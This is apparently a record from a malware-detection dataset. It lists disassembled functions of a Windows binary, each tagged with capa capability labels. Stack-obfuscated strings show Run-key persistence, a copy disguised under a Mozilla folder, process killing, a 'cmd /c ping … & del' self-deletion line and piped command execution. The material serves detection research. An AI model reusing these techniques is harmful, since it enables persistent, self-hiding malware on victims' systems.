joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026af
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
xor eax, eax
push esi
push eax
push eax
push eax
lea ecx, [ebp - 8]
push eax
push ecx
push eax
mov byte [ebp - 1], al
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 4], 0x63
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x5c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea ecx, [ebp - 0x754]
call fcn.0040275e
lea eax, [ebp - 0x754]
push eax
call fcn.00402243
lea eax, [ebp - 0x344]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x344]
push eax
call fcn.004027d0
mov esi, eax
lea eax, [ebp - 0x54c]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x54c]
push eax
call fcn.004027d0
imul esi, eax
lea eax, [ebp - 0x754]
push eax
call sub.MSVCRT.dll_wcslen
shl eax, 1
push eax
lea eax, [ebp - 0x754]
push eax
call fcn.004027d0
imul esi, eax
imul esi, dword [ebp - 8]
add esp, 0x28
imul esi, dword [ebp + 8]
mov eax, esi
pop esi
leave
ret

Function at 0x4027d0
Capabilities:
Encode data using xor

Disassembly:
push esi
or esi, 0xffffffff
cmp byte [0x4077bc], 0
jne 0x4027e9
call fcn.0040281c
mov byte [0x4077bc], 1
xor eax, eax
cmp dword [esp + 0xc], eax
jle 0x402816
mov ecx, dword [esp + 8]
mov edx, esi
and edx, 0xff
movzx ecx, byte [eax + ecx]
xor ecx, edx
shr esi, 8
mov ecx, dword [ecx*4 + 0x4073bc]
xor esi, ecx
inc eax
cmp eax, dword [esp + 0xc]
jl 0x4027f1
mov eax, esi
pop esi
not eax
ret

Function at 0x40281c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x4073bc
push 8
mov eax, edx
pop esi
test al, 1
je 0x402836
shr eax, 1
xor eax, 0xedb88320
jmp 0x402838
shr eax, 1
dec esi
jne 0x402829
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x4077bc
jl 0x402824
pop esi
ret

Function at 0x402865
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
lea eax, [ebp - 4]
push esi
push eax
push 0x20
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402944
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
mov word [ebp - 0x3c], 0x53
mov word [ebp - 0x3a], 0x65
mov word [ebp - 0x38], 0x53
mov word [ebp - 0x36], 0x68
mov word [ebp - 0x34], 0x75
mov word [ebp - 0x32], 0x74
mov word [ebp - 0x30], 0x64
mov word [ebp - 0x2e], 0x6f
mov word [ebp - 0x2c], 0x77
mov word [ebp - 0x2a], 0x6e
mov word [ebp - 0x28], 0x50
mov word [ebp - 0x26], 0x72
mov word [ebp - 0x24], 0x69
mov word [ebp - 0x22], 0x76
mov word [ebp - 0x20], 0x69
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x65
mov word [ebp - 0x1a], 0x67
mov word [ebp - 0x18], 0x65
mov word [ebp - 0x16], si
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push esi
push esi
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
Function at 0x402949
Capabilities:
Enumerate process modules
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c48
call fcn.00405ab0
push ebx
xor ebx, ebx
push esi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x240]
mov dword [ebp - 8], eax
push ecx
push eax
mov dword [ebp - 0x240], 0x22c
call sub.KERNEL32.dll_Process32FirstW
push dword [ebp + 0x10]
mov esi, eax
lea eax, [ebp - 0x448]
mov word [ebp - 0x14], 0x2e
push eax
mov word [ebp - 0x12], 0x65
mov word [ebp - 0x10], 0x78
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], bx
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x448]
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x10
cmp esi, ebx
je 0x402ac7
push edi
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll__wcslwr
pop ecx
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402aaf
mov eax, dword [ebp - 0x238]
cmp eax, dword [ebp + 0xc]
je 0x402aaf
push eax
push ebx
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x402aaf
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1c44]
mov dword [ebp - 0x1c48], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [ebp - 0xc46]
mov word [ebp - 0xc48], bx
mov dword [ebp + 0x10], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x1c48]
push 0x1000
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test dword [ebp + 0x10], 0xfffffffc
mov dword [ebp - 4], ebx
jbe 0x402aa8
lea edi, [ebp - 0x1c48]
lea eax, [ebp - 0xc48]
push 0x800
push eax
push dword [edi]
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
push dword [ebp + 8]
lea eax, [ebp - 0xc48]
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402a97
push 4
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
shr eax, 2
add edi, 4
cmp dword [ebp - 4], eax
jb 0x402a65
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4029c5
pop edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x402ad6
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push edi
xor edi, edi
push 0x800
lea eax, [ebp - 0x870]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 8]
mov word [ebp - 0x14], 0x25
push eax
lea eax, [ebp - 0x14]
push eax
mov word [ebp - 0x12], 0x73
mov word [ebp - 0x10], 0x20
mov word [ebp - 0xe], 0x2d
mov word [ebp - 0xc], di
mov word [ebp - 8], 0x72
mov word [ebp - 6], di
call sub.MSVCRT.dll_wcscat
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x870]
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x20
mov word [ebp - 0x70], 0x53
mov word [ebp - 0x6e], 0x4f
mov word [ebp - 0x6c], 0x46
push 0x5c
mov word [ebp - 0x6a], 0x54
pop edx
mov word [ebp - 0x68], 0x57
push 0x6f
mov word [ebp - 0x66], 0x41
pop ecx
mov word [ebp - 0x64], 0x52
push 0x6e
mov word [ebp - 0x62], 0x45
pop eax
mov word [ebp - 0x60], dx
mov word [ebp - 0x46], ax
mov word [ebp - 0x30], ax
mov word [ebp - 0x20], ax
mov word [ebp - 0x18], ax
lea eax, [ebp - 4]
mov word [ebp - 0x5e], 0x4d
push eax
mov word [ebp - 0x5c], 0x69
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], 0x72
mov word [ebp - 0x56], cx
mov word [ebp - 0x54], 0x73
mov word [ebp - 0x52], cx
mov word [ebp - 0x50], 0x66
mov word [ebp - 0x4e], 0x74
mov word [ebp - 0x4c], dx
mov word [ebp - 0x4a], 0x57
mov word [ebp - 0x48], 0x69
mov word [ebp - 0x44], 0x64
mov word [ebp - 0x42], cx
mov word [ebp - 0x40], 0x77
mov word [ebp - 0x3e], 0x73
mov word [ebp - 0x3c], dx
mov word [ebp - 0x3a], 0x43
mov word [ebp - 0x38], 0x75
mov word [ebp - 0x36], 0x72
mov word [ebp - 0x34], 0x72
mov word [ebp - 0x32], 0x65
mov word [ebp - 0x2e], 0x74
mov word [ebp - 0x2c], 0x56
mov word [ebp - 0x2a], 0x65
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x73
mov word [ebp - 0x24], 0x69
mov word [ebp - 0x22], cx
mov word [ebp - 0x1e], dx
mov word [ebp - 0x1c], 0x52
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x16], di
lea eax, [ebp - 0x70]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x402c5b
xor eax, eax
jmp 0x402ca2
cmp dword [ebp + 0x10], edi
je 0x402c6e
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x402c96
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x870]
push eax
push 1
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
pop edi
leave
ret
Function at 0x402ca5
Capabilities:
Enumerate files on windows
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x670
push ebx
push esi
xor esi, esi
push edi
mov ebx, 0x80
push esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push 3
push esi
push 3
push 0x80000000
push dword [ebp + 8]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x402d36
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [ebp - 4]
mov dword [ebp + 8], eax
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x10]
push esi
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push 2
push esi
push 3
push 0x40000000
push dword [ebp + 0xc]
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402d3d
push dword [ebp + 8]
call fcn.00405a0a
pop ecx
xor eax, eax
jmp 0x402e64
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 8]
call fcn.00405a0a
mov edi, 0x208
lea eax, [ebp - 0x670]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0xc]
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x670]
push 0x5c
push eax
call sub.MSVCRT.dll_wcsrchr
mov word [eax], si
push edi
lea eax, [ebp - 0x468]
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x468]
push eax
call sub.MSVCRT.dll_wcscpy
lea eax, [ebp - 0x468]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x468]
push 0x407030
push eax
call sub.MSVCRT.dll_wcscat
add esp, 0x44
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov eax, dword [ebp - 0x260]
and eax, 0x10
je 0x402e37
cmp eax, esi
je 0x402e23
lea eax, [ebp - 0x234]
push 0x40702c
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x402e23
lea eax, [ebp - 0x234]
push 0x407024
push eax
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
jne 0x402e37
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x402e53
jmp 0x402de6
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x25c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402e69
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and word [ebp - 0x12], 0
and byte [ebp - 3], 0
lea eax, [ebp - 0x10]
mov word [ebp - 0x20], 0x73
push eax
lea eax, [ebp - 0x20]
push eax
mov word [ebp - 0x1e], 0x68
mov word [ebp - 0x1c], 0x65
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], 0x6c
mov word [ebp - 0x16], 0x33
mov word [ebp - 0x14], 0x32
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x57
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402f05
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret

Function at 0x402f09
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and word [ebp - 2], 0
and byte [ebp - 0x11], 0
lea eax, [ebp - 0x28]
mov word [ebp - 0x10], 0x53
push eax
lea eax, [ebp - 0x10]
push eax
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x65
mov word [ebp - 0xa], 0x6c
mov word [ebp - 8], 0x6c
mov word [ebp - 6], 0x33
mov word [ebp - 4], 0x32
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x47
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x53
mov byte [ebp - 0x22], 0x70
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x46
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x50
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x57
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402fc7
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret
Function at 0x402fcb
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x122c
call fcn.00405ab0
push esi
lea eax, [ebp - 0xa2c]
push 0x208
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x800
lea eax, [ebp - 0x824]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x824]
push dword [ebp + 0xc]
push eax
push esi
call fcn.00402f09
add esp, 0x1c
cmp dword [ebp + 0xc], 0x23
mov word [ebp - 0x24], 0x5c
mov word [ebp - 0x22], 0x4d
mov word [ebp - 0x20], 0x6f
mov word [ebp - 0x1e], 0x7a
mov word [ebp - 0x1c], 0x69
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], 0x6c
mov word [ebp - 0x16], 0x61
mov word [ebp - 0x14], si
mov word [ebp - 0x10], 0x2e
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], 0x78
mov word [ebp - 0xa], 0x65
mov word [ebp - 8], si
je 0x40308a
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
pop ecx
lea eax, [ebp - 0x824]
pop ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x824]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0xa2c]
push eax
call sub.MSVCRT.dll_wcscmp
add esp, 0x20
test eax, eax
je 0x40317a
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403114
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push esi
push eax
call fcn.00402949
add esp, 0xc
push 0x257
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x824]
push edi
push eax
lea eax, [ebp - 0xa2c]
push eax
call fcn.00402ca5
mov eax, dword [0x407034]
mov ecx, 0x1ff
mov dword [ebp - 0x122c], eax
xor eax, eax
lea edi, [ebp - 0x1228]
mov word [ebp - 4], 0x72
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov word [ebp - 2], si
push eax
lea eax, [ebp - 0x122c]
push eax
call sub.MSVCRT.dll_wcscat
push esi
lea eax, [ebp - 0x122c]
push esi
push eax
lea eax, [ebp - 0x824]
push eax
push esi
push esi
call fcn.00402e69
add esp, 0x28
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x40317d
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
lea eax, [ebp - 0x128]
push 0x104
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x128]
and byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x528]
push eax
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x2f
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x20
mov byte [ebp - 0x18], 0x31
mov byte [ebp - 0x17], 0x32
mov byte [ebp - 0x16], 0x37
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x30
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x30
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x31
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x2d
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x31
mov byte [ebp - 0xa], 0x26
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x20
mov byte [ebp - 5], 0x22
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0x22
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x528]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
leave
ret
Function at 0x403466
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13874
call fcn.00405ab0
push ebx
push esi
push edi
push 0x4073b8
push dword [ebp + 8]
call sub.MSVCRT.dll_wcscmp
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
je 0x403515
push 1
lea eax, [ebp - 0x18]
pop esi
mov dword [ebp - 0x18], 0xc
push 0x6400
push eax
push 0x4077c0
push 0x407bc4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x40365d
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [0x4077c0]
mov word [ebp - 0x2c], bx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x30], 0x101
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40365d
push dword [0x4077c0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403518
push 1
pop esi
push 0xd000
lea eax, [ebp - 0x1386c]
push ebx
push eax
mov dword [ebp - 0x13874], esi
mov dword [ebp - 0x13870], ebx
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
mov byte [ebp - 1], bl
mov byte [ebp + 0xb], bl
call edi
mov esi, 0x6800
mov dword [ebp - 0xc], eax
push esi
lea eax, [ebp - 0x686c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x686c]
push esi
push eax
push dword [0x407bc4]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], 0x6400
ja 0x403599
call edi
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x40359f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403560
mov byte [ebp + 0xb], 1
jmp 0x4035a3
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
jbe 0x403658
push esi
lea eax, [ebp - 0x686c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x686c]
push esi
push eax
push dword [0x407bc4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x403658
cmp dword [ebp - 8], ebx
jbe 0x403658
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0x686c]
push eax
call fcn.00403414
mov edi, eax
lea eax, [ebp - 0x1386c]
push edi
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [ebp - 0xc]
add esp, 0x10
cmp byte [ebp + 0xb], bl
mov dword [ebp - 0x13870], eax
je 0x40361a
mov dword [ebp - 0x13874], ebx
jmp 0x403629
cmp byte [ebp - 1], bl
je 0x403629
mov dword [ebp - 0x13874], 1
mov esi, dword [ebp + 0x10]
mov eax, 0xd008
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0x13874]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
push edi
call fcn.00405a0a
add esp, 0x14
jmp 0x40365d
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403662
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xd05c
call fcn.00405ab0
push 0x4073b8
push dword [ebp + 8]
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x40373b
push esi
push 1
pop eax
xor esi, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xd05c], eax
push 0xd000
lea eax, [ebp - 0xd054]
push esi
push eax
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov word [ebp - 0x12], si
mov dword [ebp - 0x10], esi
mov word [ebp - 0x14], si
mov dword [ebp - 0xd058], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, esi
mov dword [ebp - 0xd05c], eax
je 0x4036f2
push dword [ebp - 0x4c]
jmp 0x4036f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0xd054]
push 0x407298
push eax
call sub.MSVCRT.dll_swprintf
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov dword [ebp - 0xd058], eax
mov eax, 0xd008
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0xd05c]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
pop esi
leave
ret